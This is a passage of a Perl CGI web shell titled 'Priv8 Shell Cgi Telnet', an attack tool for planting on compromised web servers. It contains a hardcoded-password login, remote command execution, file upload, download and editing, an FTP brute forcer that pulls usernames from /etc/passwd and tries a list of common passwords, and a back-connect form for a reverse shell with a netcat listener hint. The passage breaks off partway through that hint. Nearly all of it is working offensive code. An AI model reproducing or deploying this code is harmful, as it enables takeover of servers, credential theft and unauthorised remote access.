ajax=\"\";\n\tdocument.getElementById(\"FilePerms_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=chmod type=text size=5 /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_chmod_form(response,i,perms,file)\n{\n\tresponse.innerHTML = \"<span onclick=\\\\\\\"chmod_form(\" + i + \",'\"+ file+ \"')\\\\\\\" >\"+ perms +\"</span></td>\";\n}\nfunction rename_form(i,file,f)\n{\n\tvar ajax=\"\";\n\tf.replace(/\\\\\\\\/g,\"\\\\\\\\\\\\\\\\\");\n\tvar back=\"rm_rename_form(\"+i+\",\\\\\\\"\"+file+\"\\\\\\\",\\\\\\\"\"+f+\"\\\\\\\"); return false;\";\n\tdocument.getElementById(\"File_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action=' method='POST'><input id=text_\" + i + \"  name=rename type=text value= '\"+file+\"' /><input type=submit class='submit' onclick='\" + ajax + \"' value=OK><input type=submit class='submit' onclick='\" + back + \"' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='\$dir'><input type=hidden name=f value='\"+file+\"'></form>\";\n\tdocument.getElementById(\"text_\" + i).focus();\n}\nfunction rm_rename_form(i,file,f)\n{\n\tif(f=='f')\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=command&d=\$dir&c=edit%20\"+file+\"%20'>\" +file+ \"</a>\";\n\t}else\n\t{\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=gui&d=\"+f+\"'>[ \" +file+ \" ]</a>\";\n\t}\n}\n</script>\n<style>\nbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url('https://i.imgur.com/hLcQCBx.gif'); } </style>\n<body onLoad=\"document.f.@_.focus()\"  topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\n<center><code>\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\n<tr>\n\t<td align=\"center\" rowspan=2>\n\t\t<b><font size=\"5\">\$EditPersion</font></b>\n\t</td>\n\n\t<td>\n\n\t\t<font face=\"Open Sans\" size=\"2\">\$ENV{\"SERVER_SOFTWARE\"}</font>\n\t</td>\n\t<td>Server IP:<font color=\"#ffffff\"> \$ENV{'SERVER_ADDR'}</font> | Your IP: <font color=\"#ffffff\">\$ENV{'REMOTE_ADDR'}</font>\n\t</td>\n\n</tr>\n\n<tr>\n<td colspan=\"3\"><font face=\"Open Sans\" size=\"2\">\n<a href=\"\$ScriptLocation\">Home</a> | \n<a href=\"\$ScriptLocation?a=command&d=\$EncodedCurrentDir\">Command</a> |\n<a href=\"\$ScriptLocation?a=gui&d=\$EncodedCurrentDir\">GUI</a> | \n<a href=\"\$ScriptLocation?a=upload&d=\$EncodedCurrentDir\">Upload File</a> | \n<a href=\"\$ScriptLocation?a=download&d=\$EncodedCurrentDir\">Download File</a> |\n\n<a href=\"\$ScriptLocation?a=backbind\">Back & Bind</a> |\n<a href=\"\$ScriptLocation?a=bruteforcer\">Brute Forcer</a> |\n<a href=\"\$ScriptLocation?a=checklog\">Check Log</a> |\n<a href=\"\$ScriptLocation?a=domainsuser\">Domains/Users</a> |\n<a href=\"\$ScriptLocation?a=logout\">Logout</a> |\n<a target='_blank' href=\"#\">Help</a>\n\n</font></td>\n</tr>\n</table>\n<font id=\"ResponseData\" color=\"#ff99cc\" >\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the Login Screen\n#------------------------------------------------------------------------------\nsub PrintLoginScreen\n{\n\n\tprint <<END;\n<pre><script type=\"text/javascript\">\nTypingText = function(element, interval, cursor, finishedCallback) {\n  if((typeof document.getElementById == \"undefined\") || (typeof element.innerHTML == \"undefined\")) {\n    this.running = true;\t// Never run.\n    return;\n  }\n  this.element = element;\n  this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });\n  this.interval = (typeof interval == \"undefined\" ? 100 : interval);\n  this.origText = this.element.innerHTML;\n  this.unparsedOrigText = this.origText;\n  this.cursor = (cursor ? cursor : \"\");\n  this.currentText = \"\";\n  this.currentChar = 0;\n  this.element.typingText = this;\n  if(this.element.id == \"\") this.element.id = \"typingtext\" + TypingText.currentIndex++;\n  TypingText.all.push(this);\n  this.running = false;\n  this.inTag = false;\n  this.tagBuffer = \"\";\n  this.inHTMLEntity = false;\n  this.HTMLEntityBuffer = \"\";\n}\nTypingText.all = new Array();\nTypingText.currentIndex = 0;\nTypingText.runAll = function() {\n  for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();\n}\nTypingText.prototype.run = function() {\n  if(this.running) return;\n  if(typeof this.origText == \"undefined\") {\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\t// We haven't finished loading yet.  Have patience.\n    return;\n  }\n  if(this.currentText == \"\") this.element.innerHTML = \"\";\n//  this.origText = this.origText.replace(/<([^<])*>/, \"\");     // Strip HTML from text.\n  if(this.currentChar < this.origText.length) {\n    if(this.origText.charAt(this.currentChar) == \"<\" && !this.inTag) {\n      this.tagBuffer = \"<\";\n      this.inTag = true;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \">\" && this.inTag) {\n      this.tagBuffer += \">\";\n      this.inTag = false;\n      this.currentText += this.tagBuffer;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.inTag) {\n      this.tagBuffer += this.origText.charAt(this.currentChar);\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \"&\" && !this.inHTMLEntity) {\n      this.HTMLEntityBuffer = \"&\";\n      this.inHTMLEntity = true;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.origText.charAt(this.currentChar) == \";\" && this.inHTMLEntity) {\n      this.HTMLEntityBuffer += \";\";\n      this.inHTMLEntity = false;\n      this.currentText += this.HTMLEntityBuffer;\n      this.currentChar++;\n      this.run();\n      return;\n    } else if(this.inHTMLEntity) {\n      this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);\n      this.currentChar++;\n      this.run();\n      return;\n    } else {\n      this.currentText += this.origText.charAt(this.currentChar);\n    }\n    this.element.innerHTML = this.currentText;\n    this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == \"function\" ? this.cursor(this.currentText) : this.cursor) : \"\");\n    this.currentChar++;\n    setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\n  } else {\n\tthis.currentText = \"\";\n\tthis.currentChar = 0;\n        this.running = false;\n        this.finishedCallback();\n  }\n}\n</script>\n</pre>\n\n<font style=\"font: 15pt Open Sans; color: red;\">[ Priv8 Shell Cgi Telnet ]</font><br><font style=\"font: 8pt Open Sans; color: red;\">Password: priv8shell </font><br<br>\n<table align=\"center\" border=\"1\" width=\"600\" heigh>\n<tbody><tr>\n<td valign=\"top\" background=\"http://dl.dropbox.com/u/10860051/images/matran.gif\"><p id=\"hack\" style=\"margin-left: 3px;\">\n<font color=\"#ff1111\"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#ff1111\"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .</font><br>\n<font color=\"#F00000\"><font color=\"#ff1111\">~\\\$</font> Connected ! </font><br>\n<font color=\"#ff1111\"><font color=\"#ff1111\">\$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>\n\n<font color=\"#ff1111\"><font color=\"#ff1111\">\$ServerName~</font> Trying connect to Command . . . . . . . . . . .</font><br>\n\n<font color=\"#F00000\"><font color=\"#ff1111\">\$ServerName~</font>\\\$ Connected Command! </font><br>\n<font color=\"#ff1111\"><font color=\"#ff1111\">\$ServerName~<font color=\"#F00000\">\\\$</font></font> OK! You can kill it!</font>\n</tr>\n</tbody></table>\n<br>\n\n<script type=\"text/javascript\">\nnew TypingText(document.getElementById(\"hack\"), 30, function(i){ var ar = new Array(\"_\",\"\"); return \" \" + ar[i.length % ar.length]; });\nTypingText.runAll();\n\n</script>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Add html special chars\n#------------------------------------------------------------------------------\nsub HtmlSpecialChars(\$){\n\tmy \$text = shift;\n\t\$text =~ s/&/&amp;/g;\n\t\$text =~ s/\"/&quot;/g;\n\t\$text =~ s/'/&#039;/g;\n\t\$text =~ s/</&lt;/g;\n\t\$text =~ s/>/&gt;/g;\n\treturn \$text;\n}\n#------------------------------------------------------------------------------\n# Add link for directory\n#------------------------------------------------------------------------------\nsub AddLinkDir(\$)\n{\n\tmy \$ac=shift;\n\tmy @dir=();\n\tif(\$WinNT)\n\t{\n\t\t@dir=split(/\\\\/,\$CurrentDir);\n\t}else\n\t{\n\t\t@dir=split(\"/\",&trim(\$CurrentDir));\n\t}\n\tmy \$path=\"\";\n\tmy \$result=\"\";\n\tforeach (@dir)\n\t{\n\t\t\$path .= \$_.\$PathSep;\n\t\t\$result.=\"<a href='?a=\".\$ac.\"&d=\".\$path.\"'>\".\$_.\$PathSep.\"</a>\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Prints the message that informs the user of a failed login\n#------------------------------------------------------------------------------\nsub PrintLoginFailedMessage\n{\n\tprint <<END;\n<br>Login : Administrator<br>\n\nPassword:<br>\nLogin incorrect<br><br>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form for logging in\n#------------------------------------------------------------------------------\nsub PrintLoginForm\n{\n\tprint <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"a\" value=\"login\">\nLogin : Administrator<br>\nPassword:<input type=\"password\" name=\"p\">\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the footer for the HTML Page\n#------------------------------------------------------------------------------\nsub PrintPageFooter\n{\n\tprint \"</code></center></body></html>\";\n}\n\n#------------------------------------------------------------------------------\n# Retreives the values of all cookies. The cookies can be accesses using the\n# variable \$Cookies{'}\n#------------------------------------------------------------------------------\nsub GetCookies\n{\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\n\tforeach \$cookie(@httpcookies)\n\t{\n\t\t(\$id, \$val) = split(/=/, \$cookie);\n\t\t\$Cookies{\$id} = \$val;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the screen when the user logs out\n#------------------------------------------------------------------------------\nsub PrintLogoutScreen\n{\n\tprint \"Connection closed by foreign host.<br><br>\";\n}\n\n#------------------------------------------------------------------------------\n# Logs out the user and allows the user to login again\n#------------------------------------------------------------------------------\nsub PerformLogout\n{\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\n\t&PrintPageHeader(\"p\");\n\t&PrintLogoutScreen;\n\n\t&PrintLoginScreen;\n\t&PrintLoginForm;\n\t&PrintPageFooter;\n\texit;\n}\n\n#------------------------------------------------------------------------------\n# This function is called to login the user. If the password matches, it\n# displays a page that allows the user to run commands. If the password doens't\n# match or if no password is entered, it displays a form that allows the user\n# to login\n#------------------------------------------------------------------------------\nsub PerformLogin \n{\n\tif(\$LoginPassword eq \$Password) # password matched\n\t{\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\n\t\t&PrintPageHeader;\n\t\tprint &ListDir;\n\t}\n\telse # password didn't match\n\t{\n\t\t&PrintPageHeader(\"p\");\n\t\t&PrintLoginScreen;\n\t\tif(\$LoginPassword ne \"\") # some password was entered\n\t\t{\n\t\t\t&PrintLoginFailedMessage;\n\n\t\t}\n\t\t&PrintLoginForm;\n\t\t&PrintPageFooter;\n\t\texit;\n\t}\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to enter commands\n#------------------------------------------------------------------------------\nsub PrintCommandLineInputForm\n{\n\tmy \$dir= \"<span style='font: 11pt Open Sans; font-weight: bold;'>\".&AddLinkDir(\"command\").\"</span>\";\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='##66ff66'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"command\">\n\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\$Prompt\n<input type=\"text\" size=\"50\" name=\"c\">\n<input class=\"submit\"type=\"submit\" value=\"Enter\">\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to download files\n#------------------------------------------------------------------------------\nsub PrintFileDownloadForm\n{\n\tmy \$dir = &AddLinkDir(\"download\"); \n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input type=\"hidden\" name=\"a\" value=\"download\">\n\$Prompt download<br><br>\nFilename: <input class=\"file\" type=\"text\" name=\"f\" size=\"35\"><br><br>\nDownload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\n\n</form>\nEND\n}\n\n#------------------------------------------------------------------------------\n# Prints the HTML form that allows the user to upload files\n#------------------------------------------------------------------------------\nsub PrintFileUploadForm\n{\n\tmy \$dir= &AddLinkDir(\"upload\");\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\n\treturn <<END;\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\n\$Prompt upload<br><br>\nFilename: <input class=\"file\" type=\"file\" name=\"f\" size=\"35\"><br><br>\nOptions: &nbsp;<input type=\"checkbox\" name=\"o\" id=\"up\" value=\"overwrite\">\n<label for=\"up\">Overwrite if it Exists</label><br><br>\nUpload:&nbsp;&nbsp;&nbsp;<input class=\"submit\" type=\"submit\" value=\"Begin\">\n<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n<input class=\"submit\" type=\"hidden\" name=\"a\" value=\"upload\">\n\n</form>\n\nEND\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the timeout for a command expires. We need to\n# terminate the script immediately. This function is valid only on Unix. It is\n# never called when the script is running on NT.\n#------------------------------------------------------------------------------\nsub CommandTimeout\n{\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t\treturn <<END;\n</textarea>\n<br><font color=yellow>\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).</font>\n<br><font size='6' color=red>Killed it!</font>\nEND\n\t}\n}\n\n\n\n#------------------------------------------------------------------------------\n# This function displays the page that contains a link which allows the user\n# to download the specified file. The page also contains a auto-refresh\n# feature that starts the download automatically.\n# Argument 1: Fully qualified filename of the file to be downloaded\n#------------------------------------------------------------------------------\nsub PrintDownloadLinkPage\n{\n\tlocal(\$FileUrl) = @_;\n\tmy \$result=\"\";\n\tif(-e \$FileUrl) # if the file exists\n\t{\n\t\t# encode the file link so we can send it to the browser\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\n\t\t&PrintPageHeader(\"c\");\n\t\t\$result .= <<END;\nSending File \$TransferFile...<br>\n\nIf the download does not start automatically,\n<a href=\"\$DownloadLink\">Click Here</a>\nEND\n\t\t\$result .= &PrintCommandLineInputForm;\n\t}\n\telse # file doesn't exist\n\t{\n\t\t\$result .= \"Failed to download \$FileUrl: \$!\";\n\t\t\$result .= &PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function reads the specified file from the disk and sends it to the\n# browser, so that it can be downloaded by the user.\n# Argument 1: Fully qualified pathname of the file to be sent.\n#------------------------------------------------------------------------------\nsub SendFileToBrowser\n{\n\tmy \$result = \"\";\n\tlocal(\$SendFile) = @_;\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\n\t{\n\t\tif(\$WinNT)\n\t\t{\n\t\t\tbinmode(SENDFILE);\n\t\t\tbinmode(STDOUT);\n\t\t}\n\t\t\$FileSize = (stat(\$SendFile))[7];\n\t\t(\$Filename = \$SendFile) =~  m!([^/^\\\\]*)\$!;\n\t\tprint \"Content-Type: application/x-unknown\\n\";\n\t\tprint \"Content-Length: \$FileSize\\n\";\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\n\t\tprint while(<SENDFILE>);\n\t\tclose(SENDFILE);\n\t\texit(1);\n\t}\n\telse # failed to open file\n\t{\n\t\t\$result .= \"Failed to download \$SendFile: \$!\";\n\t\t\$result .=&PrintFileDownloadForm;\n\t}\n\treturn \$result;\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called when the user downloads a file. It displays a message\n# to the user and provides a link through which the file can be downloaded.\n# This function is also called when the user clicks on that link. In this case,\n# the file is read and sent to the browser.\n#------------------------------------------------------------------------------\nsub BeginDownload\n{\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\t&SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\t&PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to upload a file. If the\n# file is not specified, it displays a form allowing the user to specify a\n# file, otherwise it starts the upload process.\n#------------------------------------------------------------------------------\nsub UploadFile\n{\n\t# if no file is specified, print the upload form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\treturn &PrintFileUploadForm;\n\n\t}\n\tmy \$result=\"\";\n\t# start the uploading process\n\t\$result .= \"Uploading \$TransferFile to \$CurrentDir...<br>\";\n\n\t# get the fullly qualified pathname of the file to be created\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\n\t\$TargetName .= \$PathSep.\$1;\n\n\t\$TargetFileSize = length(\$in{'filedata'});\n\t# if the file exists and we are not supposed to overwrite it\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\n\t{\n\t\t\$result .= \"Failed: Destination file already exists.<br>\";\n\t}\n\telse # file is not present\n\t{\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\n\t\t{\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\n\t\t\tprint UPLOADFILE \$in{'filedata'};\n\t\t\tclose(UPLOADFILE);\n\t\t\t\$result .= \"Transfered \$TargetFileSize Bytes.<br>\";\n\t\t\t\$result .= \"File Path: \$TargetName<br>\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t\$result .= \"Failed: \$!<br>\";\n\t\t}\n\t}\n\t\$result .= &PrintCommandLineInputForm;\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------------\n# This function is called when the user wants to download a file. If the\n# filename is not specified, it displays a form allowing the user to specify a\n# file, otherwise it displays a message to the user and provides a link\n# through  which the file can be downloaded.\n#------------------------------------------------------------------------------\nsub DownloadFile\n{\n\t# if no file is specified, print the download form again\n\tif(\$TransferFile eq \"\")\n\t{\n\t\t&PrintPageHeader(\"f\");\n\t\treturn &PrintFileDownloadForm;\n\t}\n\t\n\t# get fully qualified path of the file to be downloaded\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) | (!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\n\t{\n\t\t\$TargetFile = \$TransferFile;\n\t}\n\telse # path is relative\n\t{\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\n\t}\n\n\tif(\$Options eq \"go\") # we have to send the file\n\t{\n\t\treturn &SendFileToBrowser(\$TargetFile);\n\t}\n\telse # we have to send only the link page\n\t{\n\t\treturn &PrintDownloadLinkPage(\$TargetFile);\n\t}\n}\n\n\n#------------------------------------------------------------------------------\n# This function is called to execute commands. It displays the output of the\n# command and allows the user to enter another command. The change directory\n# command is handled differently. In this case, the new directory is stored in\n# an internal variable and is used each time a command has to be executed. The\n# output of the change directory command is not displayed to the users\n# therefore error messages cannot be displayed.\n#------------------------------------------------------------------------------\nsub ExecuteCommand\n{\n\tmy \$result=\"\";\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\n\t{\n\t\t# we change the directory internally. The output of the\n\t\t# command is not displayed.\n\t\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\"cd \$1\".\$CmdSep.\$CmdPwd;\n\t\tchop(\$CurrentDir = `\$Command`);\n\t\t\$result .= &PrintCommandLineInputForm;\n\n\t\t\$result .= \"Command: <run>\$RunCommand </run><br><textarea cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t# xuat thong tin khi chuyen den 1 thu muc nao do!\n\t\t\$RunCommand= \$WinNT?\"dir\":\"dir -lia\";\n\t\t\$result .= &RunCmd;\n\t}elsif(\$RunCommand =~ m/^\\s*edit\\s+(.+)/)\n\t{\n\t\t\$result .=  &SaveFileForm;\n\t}else\n\t{\n\t\t\$result .= &PrintCommandLineInputForm;\n\t\t\$result .= \"Command: <run>\$RunCommand</run><br><textarea id='data' cols='\$cols' rows='\$rows' spellcheck='false'>\";\n\t\t\$result .=&RunCmd;\n\t}\n\t\$result .=  \"</textarea>\";\n\treturn \$result;\n}\n\n#------------------------------------------------------------------------\n# run command\n#------------------------------------------------------------------------\n\nsub RunCmd\n{\n\tmy \$result=\"\";\n\t\$Command = \"cd \\\"\$CurrentDir\\\"\".\$CmdSep.\$RunCommand.\$Redirector;\n\tif(!\$WinNT)\n\t{\n\t\t\$SIG{'ALRM'} = \\&CommandTimeout;\n\t\talarm(\$CommandTimeoutDuration);\n\t}\n\tif(\$ShowDynamicOutput) # show output as it is generated\n\t{\n\t\t\$|=1;\n\t\t\$Command .= \" |\";\n\t\topen(CommandOutput, \$Command);\n\t\twhile(<CommandOutput>)\n\t\t{\n\t\t\t\$_ =~ s/(\\n|\\r\\n)\$//;\n\t\t\t\$result .= &HtmlSpecialChars(\"\$_\\n\");\n\t\t}\n\t\t\$|=0;\n\t}\n\telse # show output after command completes\n\t{\n\t\t\$result .= &HtmlSpecialChars('\$Command');\n\t}\n\tif(!\$WinNT)\n\t{\n\t\talarm(0);\n\t}\n\treturn \$result;\n}\n#==============================================================================\n# Form Save File \n#==============================================================================\nsub SaveFileForm\n{\n\tmy \$result =\"\";\n\tsubstr(\$RunCommand,0,5)=\"\";\n\tmy \$file=&trim(\$RunCommand);\n\t\$save='<br><input name=\"a\" type=\"submit\" value=\"save\" class=\"submit\" >';\n\t\$File=\$CurrentDir.\$PathSep.\$RunCommand;\n\tmy \$dir=\"<span style='font: 11pt Open Sans; font-weight: bold;'>\".&AddLinkDir(\"gui\").\"</span>\";\n\tif(-w \$File)\n\t{\n\t\t\$rows=\"23\"\n\t}else\n\t{\n\t\t\$msg=\"<br><font style='font: 15pt Open Sans; color: yellow;' > Permission denied!<font><br>\";\n\t\t\$rows=\"20\"\n\t}\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\n\t\$read=(\$WinNT)?\"type\":\"less\";\n\t\$RunCommand = \"\$read \\\"\$RunCommand\\\"\";\n\t\$result .=  <<END;\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n\t<input type=\"hidden\" name=\"d\" value=\"\$CurrentDir\">\n\t\$Prompt\n\t<input type=\"text\" size=\"40\" name=\"c\">\n\t<input name=\"s\" class=\"submit\" type=\"submit\" value=\"Enter\">\n\t<br>Command: <run> \$RunCommand </run>\n\t<input type=\"hidden\" name=\"file\" value=\"\$file\" > \$save <br> \$msg\n\t<br><textarea id=\"data\" name=\"data\" cols=\"\$cols\" rows=\"\$rows\" spellcheck=\"false\">\nEND\n\t\n\t\$result .= &RunCmd;\n\t\$result .=  \"</textarea>\";\n\t\$result .=  \"</form>\";\n\treturn \$result;\n}\n#==============================================================================\n# Save File\n#==============================================================================\nsub SaveFile(\$)\n{\n\tmy \$Data= shift ;\n\tmy \$File= shift;\n\t\$File=\$CurrentDir.\$PathSep.\$File;\n\tif(open(FILE, \">\$File\"))\n\t{\n\t\tbinmode FILE;\n\t\tprint FILE \$Data;\n\t\tclose FILE;\n\t\treturn 1;\n\t}else\n\t{\n\t\treturn 0;\n\t}\n}\n#------------------------------------------------------------------------------\n# Brute Forcer Form\n#------------------------------------------------------------------------------\nsub BruteForcerForm\n{\n\tmy \$result=\"\";\n\t\$result .= <<END;\n\n<table>\n\n<tr>\n<td colspan=\"2\" align=\"center\">\n####################################<br>\nSimple FTP brute forcer<br>\n####################################\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\n<input type=\"hidden\" name=\"a\" value=\"bruteforcer\"/>\n</td>\n</tr>\n<tr>\n<td>User:<br><textarea rows=\"18\" cols=\"30\" name=\"user\">\nEND\nchop(\$result .= `less /etc/passwd | cut -d: -f1`);\n\$result .= <<'END';\n</textarea></td>\n<td>\n\nPass:<br>\n<textarea rows=\"18\" cols=\"30\" name=\"pass\">123pass\n123!@#\n123admin\n123abc\n123456admin\n1234554321\n12344321\npass123\nadmin\nadmincp\nadministrator\nmatkhau\npassadmin\np@ssword\np@ssw0rd\npassword\n123456\n1234567\n12345678\n123456789\n1234567890\n111111\n000000\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999\n123123\n234234\n345345\n456456\n567567\n678678\n789789\n123321\n456654\n654321\n7654321\n87654321\n987654321\n0987654321\nadmin123\nadmin123456\nabcdef\nabcabc\n!@#!@#\n!@#\$%^\n!@#\$%^&*(\n!@#\$\$#@!\nabc123\nanhyeuem\niloveyou</textarea>\n</td>\n</tr>\n<tr>\n<td colspan=\"2\" align=\"center\">\nSleep:<select name=\"sleep\">\n\n<option>0</option>\n<option>1</option>\n<option>2</option>\n\n<option>3</option>\n</select> \n<input type=\"submit\" class=\"submit\" value=\"Brute Forcer\"/></td></tr>\n</form>\n</table>\nEND\nreturn \$result;\n}\n#------------------------------------------------------------------------------\n# Brute Forcer\n#------------------------------------------------------------------------------\nsub BruteForcer\n{\n\tmy \$result=\"\";\n\t\$Server=\$ENV{'SERVER_ADDR'};\n\tif(\$in{'user'} eq \"\")\n\t{\n\t\t\$result .= &BruteForcerForm;\n\t}else\n\t{\n\t\tuse Net::FTP; \n\t\t@user= split(/\\n/, \$in{'user'});\n\t\t@pass= split(/\\n/, \$in{'pass'});\n\t\tchomp(@user);\n\t\tchomp(@pass);\n\t\t\$result .= \"<br><br>[+] Trying brute \$ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\\n\";\n\t\tforeach \$username (@user)\n\t\t{\n\t\t\tif(!(\$username eq \"\"))\n\t\t\t{\n\t\t\t\tforeach \$password (@pass)\n\t\t\t\t{\n\t\t\t\t\t\$ftp = Net::FTP->new(\$Server) or die \"Could not connect to \$ServerName\\n\"; \n\t\t\t\t\tif(\$ftp->login(\"\$username\",\"\$password\"))\n\t\t\t\t\t{\n\t\t\t\t\t\t\$result .= \"<a target='_blank' href='ftp://\$username:\$password\\@\$Server'>[+] ftp://\$username:\$password\\@\$Server</a><br>\\n\";\n\t\t\t\t\t\t\$ftp->quit();\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tif(!(\$in{'sleep'} eq \"0\"))\n\t\t\t\t\t{\n\t\t\t\t\t\tsleep(int(\$in{'sleep'}));\n\t\t\t\t\t}\n\t\t\t\t\t\$ftp->quit();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\$result .= \"\\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\\n\";\n\t}\n\treturn \$result;\n}\n#------------------------------------------------------------------------------\n# Backconnect Form\n#------------------------------------------------------------------------------\nsub BackBindForm\n{\n\treturn <<END;\n\t<br><br>\n\n\t<table>\n\t<tr>\n\t<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\n\t<td>BackConnect: <input type=\"hidden\" name=\"a\" value=\"backbind\"></td>\n\t<td> Host: <input type=\"text\" size=\"20\" name=\"clientaddr\" value=\"\$ENV{'REMOTE_ADDR'}\">\n\t Port: <input type=\"text\" size=\"7\" name=\"clientport\" value=\"80\" onkeyup=\"document.getElementById('ba').innerHTML=this.value;\"></td>\n\n\t<td><input name=\"s\" class=\"submit\" type=\"submit\" name=\"submit\" value=\"Connect\"></td>\n\t</form>\n\t</tr>\n\t<tr>\n\t<td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!\n\t<br>[+] Try check your Port with <a target=\"_blank\" href=\"http://www.canyouseeme.org/\">http://www.canyouseeme.org/</a>\n\t<br>[+] Client listen with command: <run>nc -vv -l -p <span 